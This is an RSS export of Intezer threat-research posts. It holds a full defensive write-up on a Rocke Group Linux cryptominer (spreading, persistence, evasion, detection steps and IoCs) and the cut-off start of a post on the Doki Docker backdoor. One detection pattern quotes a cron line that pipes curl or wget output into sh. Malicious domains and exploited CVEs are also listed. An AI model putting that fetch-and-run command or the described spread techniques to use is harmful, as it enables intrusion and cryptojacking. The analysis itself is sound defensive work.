<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Intezer Research – Cryptominer</title><link>https://research.intezer.com/tags/cryptominer/</link><description>Recent content in Cryptominer on Intezer Research</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Tue, 06 Apr 2021 00:00:00 +0000</lastBuildDate><atom:link href="https://research.intezer.com/tags/cryptominer/index.xml" rel="self" type="application/rss+xml"/><item><title>Rocke Group Actively Targeting the Cloud: Wants Your SSH Keys</title><link>https://research.intezer.com/blog/2021/04/rocke-group-actively-targeting-the-cloud-wants-your-ssh-keys/</link><pubDate>Tue, 06 Apr 2021 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2021/04/rocke-group-actively-targeting-the-cloud-wants-your-ssh-keys/</guid><description>
&lt;h2&gt;New Malware Variant Exploits Production Environment&lt;span class="hx:absolute hx:-mt-20" id="new-malware-variant-exploits-production-environment"&gt;&lt;/span&gt;
&lt;a href="#new-malware-variant-exploits-production-environment" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Rocke Group is a Chinese-based threat actor most known for running
cryptojacking malware on Linux machines. The group has been
&lt;a href="https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html"target="_blank" rel="noopener"&gt;active since 2018&lt;/a&gt;
and continues to evolve by modifying its tools and techniques to stay evasive.
In 2019, we reported that Rocke Group was
&lt;a href="../../../2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/"&gt;competing&lt;/a&gt;
with Pacha Group for cryptomining positioning on Linux-based servers in the
cloud. We have found a
&lt;a href="https://analyze.intezer.com/files/fe27d4a8a5f299b0b25d10816e98cef2852af6dc3541bf25a77960b1573ca61d?utm_campaign=research-blog&amp;amp;utm_content=rocke-group-actively-targeting-the-cloud-wants-your-ssh-keys&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;new malware variant&lt;/a&gt;
developed by Rocke Group, that infects other machines in the network using
saved SSH keys and weak passwords. It also exploits vulnerabilities in popular
platforms and services such as Jenkins, Redis and ActiveMQ. Once the victim is
infected a
&lt;a href="https://analyze.intezer.com/files/398e3608455dbea2cba8e9944d9b43cbb0982b48b2882fe54adf937a7a62d9e2/sub/d10bf427-6cc9-41cb-bfae-7e12268f6f9e?utm_campaign=research-blog&amp;amp;utm_content=rocke-group-actively-targeting-the-cloud-wants-your-ssh-keys&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Monero cryptominer&lt;/a&gt;
is executed. Below we present our findings with instructions on how to check if
your system has been compromised, as well as how to protect your cloud
environments against future Rocke Group attacks.&lt;/p&gt;
&lt;h2&gt;Capabilities and Findings on Rocke Group Malware&lt;span class="hx:absolute hx:-mt-20" id="capabilities-and-findings-on-rocke-group-malware"&gt;&lt;/span&gt;
&lt;a href="#capabilities-and-findings-on-rocke-group-malware" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The malware that is initially delivered to the victim&amp;rsquo;s server is packed with a
modified UPX which can make it harder for some Endpoint Detection and Response
(EDR) products to detect the malicious code. This threat contains a number of
modules that are stored in a compressed form inside the malware, and during the
execution the payloads are extracted and executed. Rocke Group uses a new
script that downloads malware from a hosting server and executes it. The
malware then uses public SSH keys, which are saved in a file called
&lt;code&gt;known_hosts&lt;/code&gt; on the victim&amp;rsquo;s Linux machine, to infect other machines on the
network. The malware archives persistence using a scheduled task in &lt;code&gt;crontab&lt;/code&gt;
and &lt;code&gt;bashrc&lt;/code&gt; files. It creates a service that controls the execution of the
malware and configures it to be executed on startup. The payload of the service
is extracted from within the Rocke Group sample. Next, the malware attempts to
spread in the network by brute forcing SSH, Redis and Jenkins with weak
passwords. Then, it exploits vulnerabilities. For Jenkins it uses two
vulnerabilities for executing code (CVE-2018-1000861, CVE-2019-1003000) and for
ActiveMQ it tries to do an arbitrary file writing (CVE-2016-3088). To hide the
activity of the malware, it implements an evasion technique that uses library
hijacking. This way the information retrieved by system commands is altered in
a way that hides resources used by the malware and its components. For
instance, running the &lt;code&gt;top&lt;/code&gt; command will not show the high CPU usage caused by
the cryptomining malware. One of the compressed modules is an XMRig Miner.
Before the miner is executed the dropper kills any other process that uses more
than 30% of the cloud server&amp;rsquo;s CPU, this way the cryptominer will have all of
the CPU for itself.&lt;/p&gt;
&lt;h2&gt;Detection and Response&lt;span class="hx:absolute hx:-mt-20" id="detection-and-response"&gt;&lt;/span&gt;
&lt;a href="#detection-and-response" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Detect if a machine in your system has been compromised by following all of
these steps:&lt;/p&gt;
&lt;p&gt;The malware creates files in the following directories:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/usr/local/sbin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/local/bin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/bin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/libexec&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/tmp&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Check if there are suspicious files in these locations. This campaign is known
for using similar names to valid Linux services and file names such as
&lt;code&gt;kerberods&lt;/code&gt;, so pay attention to the files you see in these directories. In
other cases, it uses file names like: &lt;code&gt;6ff4ba5d0de4498&lt;/code&gt;. In addition, the
malware changes the timestamps of files created during the attack so that they
appear older. You should not rely on the creation/modification time of the
files.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Response&lt;/strong&gt;: Remove the malicious files.&lt;/p&gt;
&lt;p&gt;MITRE Technique:
&lt;a href="https://attack.mitre.org/techniques/T1036/"target="_blank" rel="noopener"&gt;Masquerading (T1036)&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Check if there is a service that listens on port 61131 for incoming
connections. Use the command: &lt;code&gt;netstat -tupln&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Response&lt;/strong&gt;: Find the PID of the process and kill it. Run the following
command to get the PID:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;netstat -ltnp &lt;span class="p"&gt;|&lt;/span&gt; grep -w &lt;span class="s1"&gt;&amp;#39;:61131&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;and then run the following to kill the process:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo &lt;span class="nb"&gt;kill&lt;/span&gt; -9 &amp;lt;PID&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Check if you have a service called &lt;code&gt;sshservice.service&lt;/code&gt;. You can do this by
running: &lt;code&gt;systemctl status sshservice.service&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Response&lt;/strong&gt;: Stop and remove the service by running these commands:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systemctl stop &lt;span class="o"&gt;[&lt;/span&gt;servicename&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; systemctl disable &lt;span class="o"&gt;[&lt;/span&gt;servicename&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; rm /etc/systemd/system/&lt;span class="o"&gt;[&lt;/span&gt;servicename&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; rm /etc/systemd/system/&lt;span class="o"&gt;[&lt;/span&gt;servicename&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; rm /usr/lib/systemd/system/&lt;span class="o"&gt;[&lt;/span&gt;servicename&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; rm /usr/lib/systemd/system/&lt;span class="o"&gt;[&lt;/span&gt;servicename&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; systemctl daemon-reload systemctl reset-failed&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;MITRE Technique:
&lt;a href="https://attack.mitre.org/techniques/T1543/002/"target="_blank" rel="noopener"&gt;Create System Process (T1543)&lt;/a&gt;
and &lt;a href="https://attack.mitre.org/techniques/T1036/"target="_blank" rel="noopener"&gt;Masquerading (T1036)&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Check if the cron jobs include commands in the following format:
&lt;code&gt;*/15 * * * * (curl -fsSL -m180 ||wget -q -T180 -O- )|sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Check the following location of scheduled jobs:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/var/spool/cron/root&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/var/spool/cron/crontabs/root&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/cron.d/root&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Response&lt;/strong&gt;: Delete these commands from the crontab.&lt;/p&gt;
&lt;p&gt;MITRE Technique:
&lt;a href="https://attack.mitre.org/techniques/T1053/"target="_blank" rel="noopener"&gt;Scheduled Task/Job (T1053)&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Check that &lt;code&gt;/etc/bashrc&lt;/code&gt; contains commands in the same format as the crontab
files&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Response&lt;/strong&gt;: Delete the commands from the file.&lt;/p&gt;
&lt;p&gt;MITRE Technique:
&lt;a href="https://attack.mitre.org/techniques/T1546/004/"target="_blank" rel="noopener"&gt;Event Triggered Execution using .bashrc file (T1546)&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This campaign uses DNS over HTTPs (DoH) to obtain the address of the C2
server using hard-coded domains that send back an encrypted DNS record.
Inspect your network traffic for anomalies in HTTPs packages. Check if your
machine tried to access one (or more) of the following domains:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Update.iap5u1rbety6vifaxsi9vovnc9jjay2l[.]com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cloudflare-dns[.]com&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;MITRE Technique:
&lt;a href="https://attack.mitre.org/techniques/T1572/"target="_blank" rel="noopener"&gt;Protocol Tunneling (T1572)&lt;/a&gt; and
&lt;a href="https://attack.mitre.org/techniques/T1573/"target="_blank" rel="noopener"&gt;Encrypted Channel (T1573)&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The malware tries to infect other machines in the network by brute forcing
weak passwords and exploiting vulnerabilities in Jenkins, Redis, SSH and
ActiveMQ. Follow all of the steps above for machines that have these
services.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;MITRE Technique:
&lt;a href="https://attack.mitre.org/techniques/T1046/"target="_blank" rel="noopener"&gt;Network Service Scanning (T1046)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;TTPs now available in Intezer. Speed up malware analysis with relevant insights
to understand how malware behaves.&lt;/p&gt;
&lt;h2&gt;Be Proactive&lt;span class="hx:absolute hx:-mt-20" id="be-proactive"&gt;&lt;/span&gt;
&lt;a href="#be-proactive" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;Use strong passwords for SSH, Jenkins and Redis services. It is also highly
recommended to use TLS authentication.&lt;/li&gt;
&lt;li&gt;Use different passwords and authentication keys for each machine in the
network.&lt;/li&gt;
&lt;li&gt;Make sure that your Jenkins and ActiveMQ services have the latest updates.&lt;/li&gt;
&lt;li&gt;Restrict access to services and machines, and give only the required
permissions for each user.&lt;/li&gt;
&lt;li&gt;Filter network traffic to untrusted or known bad domains.&lt;/li&gt;
&lt;li&gt;Apply detection of anomalies in the networks to detect suspicious
communication that digresses from the usual traffic.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Runtime Protection is a Must&lt;span class="hx:absolute hx:-mt-20" id="runtime-protection-is-a-must"&gt;&lt;/span&gt;
&lt;a href="#runtime-protection-is-a-must" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;This attack is sophisticated in that it implements evasion techniques making
detection much harder. It also spreads to other services and machines on the
network making it harder to respond to. Runtime protection gives you immediate
visibility over all code running in your systems and alerts you whenever
unauthorized code is executed. So, if Rocke Group attacks an environment with
runtime protection, the user would immediately get an alert on all infected
machines with the ability to terminate the malicious processes. While there are
dozens of cloud attack vectors that threat actors can utilize, such as software
vulnerabilities and misconfigurations, eventually all attackers must run code
or commands in the production environment to conduct any damage. Consider that
it&amp;rsquo;s not realistic to be able to close all attack vectors. Not only does it
take time to fix vulnerabilities, but there are always attack vectors that are
practically impossible to prevent such as supply chain or unknown
vulnerabilities. Recent attacks have shown that Linux cryptominers and other
threats will find their way into the production environment no matter how hard
you work to reduce the attack surface. Runtime protection is a necessary last
line of defense as actors like Rocke Group remain active.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Thanks to Joakim Kennedy for contributing to this post.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;IoCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Dropper Script&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;f947e69f9f8d113fb9fba3e795827110ee17feb310b54a7f7b6672a5386a3de2&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Malware&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;fe27d4a8a5f299b0b25d10816e98cef2852af6dc3541bf25a77960b1573ca61d&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Mining Pool&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;minexmr[.]com pool&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;XMRig Miner&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;398e3608455dbea2cba8e9944d9b43cbb0982b48b2882fe54adf937a7a62d9e2&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Domains Used to Download the Malware&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;img[.]sobot.com
cdn[.]xiaoduoai.com
https://user-images[.]githubusercontent.com&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Domains Used for Resolving the C2 Address&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;update.iap5u1rbety6vifaxsi9vovnc9jjay2l[.]com
cloudflare-dns[.]com&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Watch Your Containers: Doki Infecting Docker Servers in the Cloud</title><link>https://research.intezer.com/blog/2020/07/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/</link><pubDate>Tue, 28 Jul 2020 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2020/07/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/</guid><description>
&lt;h2&gt;Key Findings&lt;span class="hx:absolute hx:-mt-20" id="key-findings"&gt;&lt;/span&gt;
&lt;a href="#key-findings" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blog.netlab.360.com/a-new-mining-botnet-blends-its-c2s-into-ngrok-service/"target="_blank" rel="noopener"&gt;Ngrok Mining Botnet&lt;/a&gt;
is an active campaign targeting exposed Docker servers in AWS, Azure, and
other cloud platforms. It has been active for at least two years.&lt;/li&gt;
&lt;li&gt;We have detected a recent attack which includes a completely undetected Linux
malware and a previously undocumented technique, using a blockchain wallet
for generating C&amp;amp;C domain names.&lt;/li&gt;
&lt;li&gt;Anyone with publicly open Docker API access is at high risk to be hacked
within the span of just a few hours. This is probable due to the hackers'
automated and continuous internet-wide scanning for vulnerable victims.&lt;/li&gt;
&lt;li&gt;The new malware, dubbed &amp;ldquo;Doki&amp;rdquo;, hasn&amp;rsquo;t been detected by any of the 60 malware
detection engines in VirusTotal since it was first analyzed on January 14,
2020.&lt;/li&gt;
&lt;li&gt;The attacker is using the infected victims to search for additional
vulnerable cloud servers.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Introduction&lt;span class="hx:absolute hx:-mt-20" id="introduction"&gt;&lt;/span&gt;
&lt;a href="#introduction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Linux threats are becoming more common. A contributing factor to this is the
increasing shift and reliance on cloud environments, which are mostly based on
Linux infrastructure. Hence, attackers have been adapting accordingly with new
tools and techniques designed specifically for this infrastructure.&lt;/p&gt;
&lt;p&gt;A technique that has become popular is the abuse of misconfigured Docker API
ports, where attackers scan for publicly accessible Docker servers and exploit
them in order to set up their own containers and execute malware on the
victim&amp;rsquo;s infrastructure.&lt;/p&gt;
&lt;p&gt;One of the longest ongoing attack campaigns exploiting Docker API ports is the
Ngrok Botnet, previously reported on by researchers at
&lt;a href="https://blog.netlab.360.com/a-new-mining-botnet-blends-its-c2s-into-ngrok-service/"target="_blank" rel="noopener"&gt;Netlab&lt;/a&gt;
and
&lt;a href="https://blog.trendmicro.com/trendlabs-security-intelligence/exposed-docker-control-api-and-community-image-abused-to-deliver-cryptocurrency-mining-malware/"target="_blank" rel="noopener"&gt;Trend Micro&lt;/a&gt;.
As part of the attack, the attackers abuse Docker configuration features in
order to elude standard container restrictions and execute various malicious
payloads from the host. They also deploy a network scanner and use it to scan
the cloud providers&amp;rsquo; IP ranges for additional potentially vulnerable targets.
Our evidence shows that it takes only a few hours from when a new misconfigured
Docker server is up online to become infected by this campaign.&lt;/p&gt;
&lt;p&gt;Recently, we have detected a new malware payload that is different from the
standard cryptominers typically deployed in this attack. The malware is a fully
undetected backdoor which we have named Doki.&lt;/p&gt;
&lt;p&gt;Doki uses a previously undocumented method to contact its operator by abusing
the Dogecoin cryptocurrency blockchain in a unique way in order to dynamically
generate its C2 domain address. The malware has managed to stay under the radar
for over six months despite samples being publicly available in VirusTotal.&lt;/p&gt;
&lt;p&gt;In this article we will cover the attack and provide a detailed analysis of the
techniques that were implemented by the undetected Doki backdoor.&lt;/p&gt;
&lt;h2&gt;The Attack&lt;span class="hx:absolute hx:-mt-20" id="the-attack"&gt;&lt;/span&gt;
&lt;a href="#the-attack" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The threat is targeting misconfigured containerized environments in the cloud.
The attackers scan for publicly accessible Docker API ports and exploit them in
